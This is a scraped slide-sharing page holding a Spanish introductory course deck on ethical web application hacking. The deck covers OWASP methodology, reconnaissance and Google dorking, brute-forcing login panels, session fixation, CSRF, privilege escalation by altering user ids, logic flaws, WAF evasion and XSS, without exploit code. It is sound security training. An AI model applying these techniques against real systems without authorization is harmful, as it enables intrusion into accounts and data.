Del Padre a sus Hijas
 
Acc ppt final
Acc ppt finalAcc ppt final
Acc ppt final
 
las camisetas
las camisetas las camisetas
las camisetas
 
Shot list
Shot listShot list
Shot list
 
Web Marketing at IED 2009
Web Marketing at IED 2009Web Marketing at IED 2009
Web Marketing at IED 2009
 
Marisabel mestra naysy
Marisabel mestra naysy Marisabel mestra naysy
Marisabel mestra naysy
 
DULCE DE FREJOL
DULCE DE FREJOLDULCE DE FREJOL
DULCE DE FREJOL
 
TAREAS PAI
TAREAS PAI TAREAS PAI
TAREAS PAI
 

Similar to Hacking Ético Web

Similar to Hacking Ético Web (20)

Temas owasp
Temas owaspTemas owasp
Temas owasp
 
Backtrak guide
Backtrak guideBacktrak guide
Backtrak guide
 
Hacking ético [Pentest]
Hacking ético [Pentest]Hacking ético [Pentest]
Hacking ético [Pentest]
 
Castaneda suarezandresfernando2017
Castaneda suarezandresfernando2017Castaneda suarezandresfernando2017
Castaneda suarezandresfernando2017
 
Samurai Web Testing Framework 2.0
Samurai Web Testing Framework 2.0Samurai Web Testing Framework 2.0
Samurai Web Testing Framework 2.0
 
Test de intrusión
Test de intrusiónTest de intrusión
Test de intrusión
 
Intro Guía de Testing OWASP
Intro Guía de Testing OWASPIntro Guía de Testing OWASP
Intro Guía de Testing OWASP
 
Test de intrusion
Test de intrusionTest de intrusion
Test de intrusion
 
Owasp proyecto
Owasp proyectoOwasp proyecto
Owasp proyecto
 
Fase6_100414_66_Colaborativo
Fase6_100414_66_ColaborativoFase6_100414_66_Colaborativo
Fase6_100414_66_Colaborativo
 
Webinar Gratuito "Reconocimiento Web"
Webinar Gratuito "Reconocimiento Web"Webinar Gratuito "Reconocimiento Web"
Webinar Gratuito "Reconocimiento Web"
 
Dominio 8 grupo 11
Dominio 8  grupo 11Dominio 8  grupo 11
Dominio 8 grupo 11
 
3.redes seguridad
3.redes seguridad3.redes seguridad
3.redes seguridad
 
Taller Virtual de Pentesting contra Aplicaciones Web
Taller Virtual de Pentesting contra Aplicaciones WebTaller Virtual de Pentesting contra Aplicaciones Web
Taller Virtual de Pentesting contra Aplicaciones Web
 
Métodos vulnerabilidad activos
Métodos vulnerabilidad activosMétodos vulnerabilidad activos
Métodos vulnerabilidad activos
 
4.test de penetración pentest
4.test de penetración   pentest4.test de penetración   pentest
4.test de penetración pentest
 
Pruebas de penetración
Pruebas de penetraciónPruebas de penetración
Pruebas de penetración
 
Beyond Shodan - Scan the internet like a pro
Beyond Shodan - Scan the internet like a pro Beyond Shodan - Scan the internet like a pro
Beyond Shodan - Scan the internet like a pro
 
Seguridad informática de las empresas
Seguridad informática de las empresasSeguridad informática de las empresas
Seguridad informática de las empresas
 
Vulnerabilidades en sitios web(español)
Vulnerabilidades en sitios web(español)Vulnerabilidades en sitios web(español)
Vulnerabilidades en sitios web(español)
 

More from Eduardo Arriols Nuñez

Introducción a los ejercicios de Red Team
Introducción a los ejercicios de Red TeamIntroducción a los ejercicios de Red Team
Introducción a los ejercicios de Red TeamEduardo Arriols Nuñez
 
Red Team: Auditando los procesos de detección y respuesta a incidentes
Red Team: Auditando los procesos de detección y respuesta a incidentesRed Team: Auditando los procesos de detección y respuesta a incidentes
Red Team: Auditando los procesos de detección y respuesta a incidentesEduardo Arriols Nuñez
 
Technical Approach to Red Team Operations
Technical Approach to Red Team OperationsTechnical Approach to Red Team Operations
Technical Approach to Red Team OperationsEduardo Arriols Nuñez
 
Cyber Threats on the Industrial Environment
Cyber Threats on the Industrial EnvironmentCyber Threats on the Industrial Environment
Cyber Threats on the Industrial EnvironmentEduardo Arriols Nuñez
 
Red Team: Un nuevo enfoque para auditar controles de Ciberseguridad
Red Team: Un nuevo enfoque para auditar controles de CiberseguridadRed Team: Un nuevo enfoque para auditar controles de Ciberseguridad
Red Team: Un nuevo enfoque para auditar controles de CiberseguridadEduardo Arriols Nuñez
 
Vulnerando Entornos Critios: Smart-Cities, Smart-Buildings y Grandes Corporac...
Vulnerando Entornos Critios: Smart-Cities, Smart-Buildings y Grandes Corporac...Vulnerando Entornos Critios: Smart-Cities, Smart-Buildings y Grandes Corporac...
Vulnerando Entornos Critios: Smart-Cities, Smart-Buildings y Grandes Corporac...Eduardo Arriols Nuñez
 
¿Alguna vez has pensado que te gustaría ser "hacker"?
¿Alguna vez has pensado que te gustaría ser "hacker"?¿Alguna vez has pensado que te gustaría ser "hacker"?
¿Alguna vez has pensado que te gustaría ser "hacker"?Eduardo Arriols Nuñez
 
Hacking Físico: Vulnerando entornos, evadiendo sensores... ¿Misión Imposible?
Hacking Físico: Vulnerando entornos, evadiendo sensores... ¿Misión Imposible?Hacking Físico: Vulnerando entornos, evadiendo sensores... ¿Misión Imposible?
Hacking Físico: Vulnerando entornos, evadiendo sensores... ¿Misión Imposible?Eduardo Arriols Nuñez
 
Red Team: Next Generation Penetration Testing
Red Team: Next Generation Penetration TestingRed Team: Next Generation Penetration Testing
Red Team: Next Generation Penetration TestingEduardo Arriols Nuñez
 
Physical Penetration Testing (RootedCON 2015)
Physical Penetration Testing (RootedCON 2015)Physical Penetration Testing (RootedCON 2015)
Physical Penetration Testing (RootedCON 2015)Eduardo Arriols Nuñez
 
Red Team: Un cambio necesario para la visión holística de la ciberseguridad
Red Team: Un cambio necesario para la visión holística de la ciberseguridadRed Team: Un cambio necesario para la visión holística de la ciberseguridad
Red Team: Un cambio necesario para la visión holística de la ciberseguridadEduardo Arriols Nuñez
 
Los sistemas informáticos de tu empresa al descubierto
Los sistemas informáticos de tu empresa al descubiertoLos sistemas informáticos de tu empresa al descubierto
Los sistemas informáticos de tu empresa al descubiertoEduardo Arriols Nuñez
 
Hacking ético en aplicaciones web [SQL Injection]
Hacking ético en aplicaciones web [SQL Injection]Hacking ético en aplicaciones web [SQL Injection]
Hacking ético en aplicaciones web [SQL Injection]Eduardo Arriols Nuñez
 

More from Eduardo Arriols Nuñez (15)

Introducción a los ejercicios de Red Team
Introducción a los ejercicios de Red TeamIntroducción a los ejercicios de Red Team
Introducción a los ejercicios de Red Team
 
Red Team: Auditando los procesos de detección y respuesta a incidentes
Red Team: Auditando los procesos de detección y respuesta a incidentesRed Team: Auditando los procesos de detección y respuesta a incidentes
Red Team: Auditando los procesos de detección y respuesta a incidentes
 
Technical Approach to Red Team Operations
Technical Approach to Red Team OperationsTechnical Approach to Red Team Operations
Technical Approach to Red Team Operations
 
Cyber Threats on the Industrial Environment
Cyber Threats on the Industrial EnvironmentCyber Threats on the Industrial Environment
Cyber Threats on the Industrial Environment
 
Red Team: Un nuevo enfoque para auditar controles de Ciberseguridad
Red Team: Un nuevo enfoque para auditar controles de CiberseguridadRed Team: Un nuevo enfoque para auditar controles de Ciberseguridad
Red Team: Un nuevo enfoque para auditar controles de Ciberseguridad
 
Vulnerando Entornos Critios: Smart-Cities, Smart-Buildings y Grandes Corporac...
Vulnerando Entornos Critios: Smart-Cities, Smart-Buildings y Grandes Corporac...Vulnerando Entornos Critios: Smart-Cities, Smart-Buildings y Grandes Corporac...
Vulnerando Entornos Critios: Smart-Cities, Smart-Buildings y Grandes Corporac...
 
Como Pedro por su Smart-Building
Como Pedro por su Smart-BuildingComo Pedro por su Smart-Building
Como Pedro por su Smart-Building
 
¿Como es el trabajo de un Hacker?
¿Como es el trabajo de un Hacker?¿Como es el trabajo de un Hacker?
¿Como es el trabajo de un Hacker?
 
¿Alguna vez has pensado que te gustaría ser "hacker"?
¿Alguna vez has pensado que te gustaría ser "hacker"?¿Alguna vez has pensado que te gustaría ser "hacker"?
¿Alguna vez has pensado que te gustaría ser "hacker"?
 
Hacking Físico: Vulnerando entornos, evadiendo sensores... ¿Misión Imposible?
Hacking Físico: Vulnerando entornos, evadiendo sensores... ¿Misión Imposible?Hacking Físico: Vulnerando entornos, evadiendo sensores... ¿Misión Imposible?
Hacking Físico: Vulnerando entornos, evadiendo sensores... ¿Misión Imposible?
 
Red Team: Next Generation Penetration Testing
Red Team: Next Generation Penetration TestingRed Team: Next Generation Penetration Testing
Red Team: Next Generation Penetration Testing
 
Physical Penetration Testing (RootedCON 2015)
Physical Penetration Testing (RootedCON 2015)Physical Penetration Testing (RootedCON 2015)
Physical Penetration Testing (RootedCON 2015)
 
Red Team: Un cambio necesario para la visión holística de la ciberseguridad
Red Team: Un cambio necesario para la visión holística de la ciberseguridadRed Team: Un cambio necesario para la visión holística de la ciberseguridad
Red Team: Un cambio necesario para la visión holística de la ciberseguridad
 
Los sistemas informáticos de tu empresa al descubierto
Los sistemas informáticos de tu empresa al descubiertoLos sistemas informáticos de tu empresa al descubierto
Los sistemas informáticos de tu empresa al descubierto
 
Hacking ético en aplicaciones web [SQL Injection]
Hacking ético en aplicaciones web [SQL Injection]Hacking ético en aplicaciones web [SQL Injection]
Hacking ético en aplicaciones web [SQL Injection]
 

Recently uploaded

FloresMorales_Montserrath_M1S3AI6 (1).pptx
FloresMorales_Montserrath_M1S3AI6 (1).pptxFloresMorales_Montserrath_M1S3AI6 (1).pptx
FloresMorales_Montserrath_M1S3AI6 (1).pptx241522327
 
GonzalezGonzalez_Karina_M1S3AI6... .pptx
GonzalezGonzalez_Karina_M1S3AI6... .pptxGonzalezGonzalez_Karina_M1S3AI6... .pptx
GonzalezGonzalez_Karina_M1S3AI6... .pptx241523733
 
El uso de las tic en la vida ,lo importante que son
El uso de las tic en la vida ,lo importante  que sonEl uso de las tic en la vida ,lo importante  que son
El uso de las tic en la vida ,lo importante que son241514984
 
Segunda ley de la termodinámica TERMODINAMICA.pptx
Segunda ley de la termodinámica TERMODINAMICA.pptxSegunda ley de la termodinámica TERMODINAMICA.pptx
Segunda ley de la termodinámica TERMODINAMICA.pptxMariaBurgos55
 
El uso de las TIC's en la vida cotidiana.
El uso de las TIC's en la vida cotidiana.El uso de las TIC's en la vida cotidiana.
El uso de las TIC's en la vida cotidiana.241514949
 
TEMA 2 PROTOCOLO DE EXTRACCION VEHICULAR.ppt
TEMA 2 PROTOCOLO DE EXTRACCION VEHICULAR.pptTEMA 2 PROTOCOLO DE EXTRACCION VEHICULAR.ppt
TEMA 2 PROTOCOLO DE EXTRACCION VEHICULAR.pptJavierHerrera662252
 
Arenas Camacho-Practica tarea Sesión 12.pptx
Arenas Camacho-Practica tarea Sesión 12.pptxArenas Camacho-Practica tarea Sesión 12.pptx
Arenas Camacho-Practica tarea Sesión 12.pptxJOSEFERNANDOARENASCA
 
R1600G CAT Variables de cargadores en mina
R1600G CAT Variables de cargadores en minaR1600G CAT Variables de cargadores en mina
R1600G CAT Variables de cargadores en minaarkananubis
 
Hernandez_Hernandez_Practica web de la sesion 11.pptx
Hernandez_Hernandez_Practica web de la sesion 11.pptxHernandez_Hernandez_Practica web de la sesion 11.pptx
Hernandez_Hernandez_Practica web de la sesion 11.pptxJOSEMANUELHERNANDEZH11
 
LAS_TIC_COMO_HERRAMIENTAS_EN_LA_INVESTIGACIÓN.pptx
LAS_TIC_COMO_HERRAMIENTAS_EN_LA_INVESTIGACIÓN.pptxLAS_TIC_COMO_HERRAMIENTAS_EN_LA_INVESTIGACIÓN.pptx
LAS_TIC_COMO_HERRAMIENTAS_EN_LA_INVESTIGACIÓN.pptxAlexander López
 
Plan Sarmiento - Netbook del GCBA 2019..
Plan Sarmiento - Netbook del GCBA 2019..Plan Sarmiento - Netbook del GCBA 2019..
Plan Sarmiento - Netbook del GCBA 2019..RobertoGumucio2
 
definicion segun autores de matemáticas educativa
definicion segun autores de matemáticas  educativadefinicion segun autores de matemáticas  educativa
definicion segun autores de matemáticas educativaAdrianaMartnez618894
 
Actividad integradora 6 CREAR UN RECURSO MULTIMEDIA
Actividad integradora 6    CREAR UN RECURSO MULTIMEDIAActividad integradora 6    CREAR UN RECURSO MULTIMEDIA
Actividad integradora 6 CREAR UN RECURSO MULTIMEDIA241531640
 
tics en la vida cotidiana prepa en linea modulo 1.pptx
tics en la vida cotidiana prepa en linea modulo 1.pptxtics en la vida cotidiana prepa en linea modulo 1.pptx
tics en la vida cotidiana prepa en linea modulo 1.pptxazmysanros90
 
Mapa-conceptual-del-Origen-del-Universo-3.pptx
Mapa-conceptual-del-Origen-del-Universo-3.pptxMapa-conceptual-del-Origen-del-Universo-3.pptx
Mapa-conceptual-del-Origen-del-Universo-3.pptxMidwarHenryLOZAFLORE
 
Crear un recurso multimedia. Maricela_Ponce_DomingoM1S3AI6-1.pptx
Crear un recurso multimedia. Maricela_Ponce_DomingoM1S3AI6-1.pptxCrear un recurso multimedia. Maricela_Ponce_DomingoM1S3AI6-1.pptx
Crear un recurso multimedia. Maricela_Ponce_DomingoM1S3AI6-1.pptxNombre Apellidos
 
PARTES DE UN OSCILOSCOPIO ANALOGICO .pdf
PARTES DE UN OSCILOSCOPIO ANALOGICO .pdfPARTES DE UN OSCILOSCOPIO ANALOGICO .pdf
PARTES DE UN OSCILOSCOPIO ANALOGICO .pdfSergioMendoza354770
 
El_Blog_como_herramienta_de_publicacion_y_consulta_de_investigacion.pptx
El_Blog_como_herramienta_de_publicacion_y_consulta_de_investigacion.pptxEl_Blog_como_herramienta_de_publicacion_y_consulta_de_investigacion.pptx
El_Blog_como_herramienta_de_publicacion_y_consulta_de_investigacion.pptxAlexander López
 
dokumen.tips_36274588-sistema-heui-eui.ppt
dokumen.tips_36274588-sistema-heui-eui.pptdokumen.tips_36274588-sistema-heui-eui.ppt
dokumen.tips_36274588-sistema-heui-eui.pptMiguelAtencio10
 
La era de la educación digital y sus desafios
La era de la educación digital y sus desafiosLa era de la educación digital y sus desafios
La era de la educación digital y sus desafiosFundación YOD YOD
 

Recently uploaded (20)

FloresMorales_Montserrath_M1S3AI6 (1).pptx
FloresMorales_Montserrath_M1S3AI6 (1).pptxFloresMorales_Montserrath_M1S3AI6 (1).pptx
FloresMorales_Montserrath_M1S3AI6 (1).pptx
 
GonzalezGonzalez_Karina_M1S3AI6... .pptx
GonzalezGonzalez_Karina_M1S3AI6... .pptxGonzalezGonzalez_Karina_M1S3AI6... .pptx
GonzalezGonzalez_Karina_M1S3AI6... .pptx
 
El uso de las tic en la vida ,lo importante que son
El uso de las tic en la vida ,lo importante  que sonEl uso de las tic en la vida ,lo importante  que son
El uso de las tic en la vida ,lo importante que son
 
Segunda ley de la termodinámica TERMODINAMICA.pptx
Segunda ley de la termodinámica TERMODINAMICA.pptxSegunda ley de la termodinámica TERMODINAMICA.pptx
Segunda ley de la termodinámica TERMODINAMICA.pptx
 
El uso de las TIC's en la vida cotidiana.
El uso de las TIC's en la vida cotidiana.El uso de las TIC's en la vida cotidiana.
El uso de las TIC's en la vida cotidiana.
 
TEMA 2 PROTOCOLO DE EXTRACCION VEHICULAR.ppt
TEMA 2 PROTOCOLO DE EXTRACCION VEHICULAR.pptTEMA 2 PROTOCOLO DE EXTRACCION VEHICULAR.ppt
TEMA 2 PROTOCOLO DE EXTRACCION VEHICULAR.ppt
 
Arenas Camacho-Practica tarea Sesión 12.pptx
Arenas Camacho-Practica tarea Sesión 12.pptxArenas Camacho-Practica tarea Sesión 12.pptx
Arenas Camacho-Practica tarea Sesión 12.pptx
 
R1600G CAT Variables de cargadores en mina
R1600G CAT Variables de cargadores en minaR1600G CAT Variables de cargadores en mina
R1600G CAT Variables de cargadores en mina
 
Hernandez_Hernandez_Practica web de la sesion 11.pptx
Hernandez_Hernandez_Practica web de la sesion 11.pptxHernandez_Hernandez_Practica web de la sesion 11.pptx
Hernandez_Hernandez_Practica web de la sesion 11.pptx
 
LAS_TIC_COMO_HERRAMIENTAS_EN_LA_INVESTIGACIÓN.pptx
LAS_TIC_COMO_HERRAMIENTAS_EN_LA_INVESTIGACIÓN.pptxLAS_TIC_COMO_HERRAMIENTAS_EN_LA_INVESTIGACIÓN.pptx
LAS_TIC_COMO_HERRAMIENTAS_EN_LA_INVESTIGACIÓN.pptx
 
Plan Sarmiento - Netbook del GCBA 2019..
Plan Sarmiento - Netbook del GCBA 2019..Plan Sarmiento - Netbook del GCBA 2019..
Plan Sarmiento - Netbook del GCBA 2019..
 
definicion segun autores de matemáticas educativa
definicion segun autores de matemáticas  educativadefinicion segun autores de matemáticas  educativa
definicion segun autores de matemáticas educativa
 
Actividad integradora 6 CREAR UN RECURSO MULTIMEDIA
Actividad integradora 6    CREAR UN RECURSO MULTIMEDIAActividad integradora 6    CREAR UN RECURSO MULTIMEDIA
Actividad integradora 6 CREAR UN RECURSO MULTIMEDIA
 
tics en la vida cotidiana prepa en linea modulo 1.pptx
tics en la vida cotidiana prepa en linea modulo 1.pptxtics en la vida cotidiana prepa en linea modulo 1.pptx
tics en la vida cotidiana prepa en linea modulo 1.pptx
 
Mapa-conceptual-del-Origen-del-Universo-3.pptx
Mapa-conceptual-del-Origen-del-Universo-3.pptxMapa-conceptual-del-Origen-del-Universo-3.pptx
Mapa-conceptual-del-Origen-del-Universo-3.pptx
 
Crear un recurso multimedia. Maricela_Ponce_DomingoM1S3AI6-1.pptx
Crear un recurso multimedia. Maricela_Ponce_DomingoM1S3AI6-1.pptxCrear un recurso multimedia. Maricela_Ponce_DomingoM1S3AI6-1.pptx
Crear un recurso multimedia. Maricela_Ponce_DomingoM1S3AI6-1.pptx
 
PARTES DE UN OSCILOSCOPIO ANALOGICO .pdf
PARTES DE UN OSCILOSCOPIO ANALOGICO .pdfPARTES DE UN OSCILOSCOPIO ANALOGICO .pdf
PARTES DE UN OSCILOSCOPIO ANALOGICO .pdf
 
El_Blog_como_herramienta_de_publicacion_y_consulta_de_investigacion.pptx
El_Blog_como_herramienta_de_publicacion_y_consulta_de_investigacion.pptxEl_Blog_como_herramienta_de_publicacion_y_consulta_de_investigacion.pptx
El_Blog_como_herramienta_de_publicacion_y_consulta_de_investigacion.pptx
 
dokumen.tips_36274588-sistema-heui-eui.ppt
dokumen.tips_36274588-sistema-heui-eui.pptdokumen.tips_36274588-sistema-heui-eui.ppt
dokumen.tips_36274588-sistema-heui-eui.ppt
 
La era de la educación digital y sus desafios
La era de la educación digital y sus desafiosLa era de la educación digital y sus desafios
La era de la educación digital y sus desafios
 

Hacking Ético Web

  • 1. Hacking Ético Web [ Iniciación ] Eduardo Arriols Nuñez eduardo.arriols@live.u-tad.com
  • 2. Antes de nada… ¿Conocimientos en aplicación web? ¿Desarrolladores de aplicaciones web? ¿Conocimientos en seguridad? ¿Vuestro objetivo?
  • 3. Índice 1. Introducción 2. Obtención de información 3. Mapeo y análisis 4. Pruebas en la aplicación 5. Ataques web 6. Principios para la fortificación
  • 4. Índice 1. Introducción 2. Obtención de información 3. Mapeo y análisis 4. Pruebas en la aplicación 5. Ataques web 6. Principios para la fortificación
  • 5. Introducción Seguridad en aplicación web Desde hace años, las aplicaciones web han evolucionado enormemente, siendo actualmente usadas a diario por la mayoría de personas con acceso a Internet. Esta rápida evolución también ha dado lugar a la aparición de gran cantidad de ataques y riesgos en dichas aplicaciones, que cada vez mantienen y gestionan mas datos críticos (bancarios, sanitarios, etc.) La evolución sigue siendo inminente con IoT, smartphones, etc. Esto implica una necesidad de implementar medidas de seguridad tanto defensivas como ofensivas. “Si conoces al enemigo y te conoces a ti mismo, ni en cien batallas correrás peligro”
  • 7. Introducción El gran problema Los principales factores que provocan esta situación son lo siguientes:  Falta de conocimientos en seguridad de los desarrolladores  Producción personalizada  Simplicidad en las aplicaciones  Rápida evolución de los peligros  Presupuesto y tiempo reducidos  Adaptación de las tecnologías  Incremento de la funcionalidad  Falta de concienciación en materia de seguridad
  • 8. Introducción Objetivos del curso Los principales objetivos son los siguientes: 1. Conocimiento de los principales riesgos y amenazas. 2. Conocimiento y aplicación de metodologías de auditoria. 3. Conocer, descubrir y explotar las principales vulnerabilidades. 4. Realizar sencillas auditorias de seguridad en aplicaciones web. Al ser un curso de iniciación, no se pretende que el alumno salga con amplios conocimientos en seguridad de aplicaciones web, pero si con una base suficiente para comenzar a investigar y desarrollar pruebas por cuenta propia.
  • 9. Introducción Metodologías de prueba OWASP (Open Web Application Security Project) es un proyecto abierto, dedicado principalmente al estudio de vulnerabilidades en aplicaciones web. La Guía OWASP es una metodología ampliamente reconocida para realizar pruebas y auditorias de seguridad sobre aplicaciones web. Dicha guía expone cada prueba que debe ser realizada, el modo de realizarlo y las posibles herramientas que pueden ser utilizadas. Además el proyecto desarrolla otras herramientas como WebScarab, WebGoat, etc.
  • 10. Introducción Herramientas imprescindibles: Mantra Mantra es un navegador especialmente diseñado a partir de Firefox/Chrome para el análisis de seguridad web que trae implementados gran cantidad de plugins de auditoria. Algunas de sus funciones son:  Manipular las cabeceras HTTP  Fingerprinting de aplicaciones web  Interceptar las peticiones GET / POST  Manipular campos de entrada de texto (strings)  Editar cookies del navegador  Capacidad para trabajar con diferentes Proxy  Modificación de cabeceras HTTP  Capacidad de realizar comprobaciones de Seguridad básicas (XSS, SQL)  …
  • 11. Introducción Herramientas imprescindibles: BurpSuite Es uno de los proxys HTTP mas conocidos. Tiene una gran comunidad que va desarrollando funcionalidades y plugins. Algunas de sus funcionalidades son:  Interceptar comunicaciones HTTP / HTTPS  Manipular cualquier tipo de paquete y cabecera HTTP  Escáner de vulnerabilidades integrado  Realizar spidering sobre las aplicaciones web  Permite interceptar comunicaciones en cualquier tipo de dispositivo  Modulo “intruder” para realizar ataques de fuerza bruta  …
  • 12. Índice 1. Introducción 2. Obtención de información 3. Mapeo y análisis 4. Pruebas en la aplicación 5. Ataques web 6. Principios para la fortificación
  • 13. Obtención de información Google Hacking Las técnicas de ‘Google Hacking’ se basan en obtener información mediante búsquedas realizadas a través de comandos de búsqueda avanzados. El objetivo es obtener información sobre la aplicación, tecnologías utilizadas, etc. Los principales comandos son:  site  Búsqueda por dominio / subdominio  intitle / allintitle  Búsqueda en el titulo  inurl / allinurl  Búsqueda en la URL  intext / allintext  Búsqueda en el texto  filetype / ext  Tipo de fichero / extensión  ‘||’ / ‘&&’  OR / AND lógico  ‘-’  Negación También es posible realizar estas búsquedas en otros buscadores como Bing o Yahoo.
  • 14. Obtención de información Google Hacking (Ejemplos)
  • 15. Obtención de información Google Hacking Database (GHDB) La Google Hacking DataBase (GHDB) es un proyecto donde la gente comparte sus ‘dorks’ personalizados, nombre que se le da a las búsquedas avanzas que hacen uso de operadores para conseguir una determinada información. http://www.exploit-db.com/google-dorks/ http://www.hackersforcharity.org/ghdb/
  • 16. Obtención de información Netcraft Es una compañía de servicios de Internet que pone a disposición de cualquier un análisis genérico de gran cantidad de aplicaciones web. Esto nos permite obtener por ejemplo, el dominio en el que se encuentra la dirección IP, el tipo de OS, la versión de servidores web, etc.
  • 17. Obtención de información Otras herramientas Robtex.com Aplicación que permite obtener gran cantidad de información sobre una determinada dirección IP como sus resoluciones DNS inversas (vecinos), servidores de correo de la compañía, etc. Archive.org Aplicación que permite navegar por versiones antiguas de la aplicación objetivo. Esto es posible gracias a que Archive.org se mantiene de forma constante indexando y guardando todas las versiones de las aplicaciones por las que pasa.
  • 18. Índice 1. Introducción 2. Obtención de información 3. Mapeo y análisis 4. Pruebas en la aplicación 5. Ataques web 6. Principios para la fortificación
  • 19. Mapeo y análisis Detección de contenido Las pruebas de detección de contenido tienen como objetivo:  Identificar funcionalidades de prueba / antiguas que puedan contener información o vulnerabilidades.  Detectar archivos ocultos como backups, volcados SQL, etc.  Detectar paneles de administración accesibles. Para ello es posible seguir diferentes aproximaciones:  Manual: Navegación manual por la aplicación mediante el uso de proxy.  Spider: Navegación automática por las paginas indexables de la aplicación web.  Crawler: Uso fuerza bruta para detectar contenido no indexable pero existente. Herramientas:  BurpSuite  Dirbuster
  • 20. Mapeo y análisis Métodos HTTP Existen métodos HTTP que pueden encontrarse habilitados en el servidor que son considerados inseguros como “PUT” o “DELETE”, que permiten subir o eliminar un fichero del sistema. Los métodos HTTP implementados por el servidor pueden ser:  Genéricos para toda la aplicación  Específicos por directorio / recurso Herramientas:  Netcat  BurpSuite  Cadaver
  • 21. Mapeo y análisis Detección de funcionalidades e inputs Es necesario conocer y tener identificadas todas las funcionalidades existentes en la aplicación, así como sus inputs. Esto nos permitirá posteriormente planificar las pruebas y posibles ataques a realizar sobre la aplicación. También es necesario identificar si las funcionalidades son multi-estado o necesitan datos de otro recurso de la aplicación. En tal caso, es necesario detectar cuales son los datos que requiere la funcionalidad.
  • 22. Mapeo y análisis Identificación de tecnologías Conocer la tecnología existente en un sistema, servidor, tecnología o CMS permitirá acotar los posibles ataques a realizar sobre un objetivo. No es lo mismo realizar un ataque contra un “Linux, con servidor web Apache, que utilice PHP y MySQL” que contra un “Windows 2012, con servidor web IIS7,5, que utilice ASP y MSSQL”. Las practicas de detección mas comunes son:  Mediante cabeceras HTTP  Mediante errores (En la aplicación y sistema)  Mediante extensiones de ficheros  Direcciones URL  Paneles de autenticación  …
  • 23. Mapeo y análisis Detección de sistemas de seguridad (WAF) Para poder afinar lo máximo posible los ataques y pruebas a realizar es importante identificar si existen sistemas de seguridad protegiendo la aplicación web. Uno de los sistemas de seguridad mas comunes son los WAF (Web Application Firewall), los cuales inspeccionan todo el trafico HTTP / HTTPS en busca de patrones que les permitan detectar posibles ataques. Si nuestra aplicación objetivo se encuentra detrás de un WAF deberemos utilizar técnicas de evasión, realizando ataques mas complejos mediante la ofuscación de los ataques. Algunos ejemplos:  URL Encode  Pruebas contra listas negras  …
  • 24. Índice 1. Introducción 2. Obtención de información 3. Mapeo y análisis 4. Pruebas en la aplicación 5. Ataques web 6. Principios para la fortificación
  • 25. Pruebas en la aplicación Pruebas en el cliente Para saber los datos que espera el servidor, no sirve únicamente con enumerar los inputs de la aplicación. Es necesario revisar los datos enviados por el cliente al servidor ya que la aplicación puede ser vulnerable también en las cabeceras HTTP, Cookies, parámetros ocultos, etc. Las principales acciones ha realizar son:  Comprobar el envío de datos: Identificar todos aquellos parámetros enviados por el cliente y la interacción que tienen con el servidor según los valores enviado.  Detectar controles realizados desde el cliente: Identificar los controles de seguridad que se estén utilizando en el lado del cliente. Un ejemplo común es utilizar funciones Javascript
  • 26. Pruebas en la aplicación Paneles de autenticación Los paneles de autenticación son una de las principales puertas de entrada a las aplicaciones web, por lo que se suelen realizar bastantes esfuerzon para vulnerarlos y lograr acceso. Algunas de las acciones típicas que son realizadas son las siguientes:  Credenciales por defecto: Muchos servidores de aplicaciones y CMS traen usuarios por defecto. Estos usuarios en ocasiones no son modificados por los administradores, lo cual puede permitir acceso a la aplicación.  Enumeración de usuarios: La aplicación genera códigos de error diferentes en caso de que un usuario exista o no, permitiendo la detección de usuarios validos.  Fuerza bruta: En caso de tener un usuario valido es posible realizar pruebas de fuerza bruta con el objetivo de detectar unas credenciales de acceso validas y fácilmente adivinables.
  • 27. Pruebas en la aplicación Gestión de sesiones Otro punto débil en muchas aplicaciones es su manera de manejar las sesiones. Normalmente las sesiones se mantienen mediante cookies que al encontrarse en el navegador del cliente pueden ser fácilmente modificadas. Nuestro objetivo en este caso es lograr modificar nuestros permisos, acceder a la aplicación sin habernos autenticado, etc. Las principales pruebas ha realizar son:  Entender la funcionalidad: Entender el funcionamiento de la gestión de sesiones en la aplicación objetivo.  Verificación de tokens/cookies: Lograr modificar las cookies a nuestro antojo para realizar una determinada acción.  Fijación de sesión: Esta vulnerabilidad se produce cuando el servidor no comprueba si el token utilizado por el cliente para validarse ha sido anteriormente autorizado por el servidor, permitiendo utilizar múltiples veces el mismo token de sesión.
  • 28. Esta vulnerabilidad es critica en caso de poder inicializar de forma remota el token de sesión que usara el cliente de la aplicación. Pruebas en la aplicación Fijación de sesión
  • 29. Pruebas en la aplicación Cross-Site Request Forgery (CSRF) Esta vulnerabilidad se produce cuando una aplicación web permite realizar una determinada acción directamente mediante una petición. Esto se debe a que el servidor no verifica que el usuario haya realizado las peticiones anteriores necesarias.
  • 30. Pruebas en la aplicación Elevación de privilegios Una vez tenemos acceso a la aplicación, es necesario comprobar si el sistema de autorización es o no robusto. El objetivo es detectar funcionalidades que no se encuentre correctamente aseguradas y puedan permitir una elevación de privilegios lateral o vertical. Identificar funcionalidad de usuario / administrador (Vertical). Ejemplo: http:/facebook.com/user/index.php?id_user=31 http:/facebook.com/admin/index.php Identificar funcionalidad de usuario / usuario (Lateral). Ejemplo: http:/facebook.com/user/index.php?id_user=31 http:/facebook.com/user/index.php?id_user=32
  • 31. Pruebas en la aplicación Lógica de la aplicación La mayor vulnerabilidad en una aplicación web puede deberse a la falta de pruebas de lógica realizadas por un programador. En este caso, el objetivo es detectar comportamientos que no hayan sido planteados por los desarolladores y que permitan realizar acciones potencialmente peligrosas. Ejemplos: Saltar a diferentes etapas en un proceso multi-etapa (Compra online): Saltarse la etapa de ‘pago’ y obtener el producto gratis. Modificar los valores de entrada por valores que no tengan ‘sentido’: Transferencia de -1000 euros permite que el ‘beneficiario’ nos ingrese dinero. Este tipo de pruebas dependen en gran medida de la experiencia del auditor y de su imaginación.
  • 32. Índice 1. Introducción 2. Obtención de información 3. Mapeo y análisis 4. Pruebas en la aplicación 5. Ataques web 6. Principios para la fortificación
  • 33. Ataques web Cross-Site Scripting Cross Site Scripting (XSS) es una de las vulnerabilidad más explotadas según la OWASP. En ella, se manipula la entrada (input) de parámetros de una aplicación con el objetivo de obtener una salida (output) determinada que contenga el código introducido en el input como HTML / Javascript. De esta forma se puede forzar al cliente a ejecutar el código deseado. Este tipo de vulnerabilidades se denominan del lado del cliente, ya que aunque la vulnerabilidad se encuentra en el servidor, el objetivo del ataque es el cliente. Algunas estadísticas afirman que el 60-70% de todos los sitios web son vulnerables a ataques de XSS.
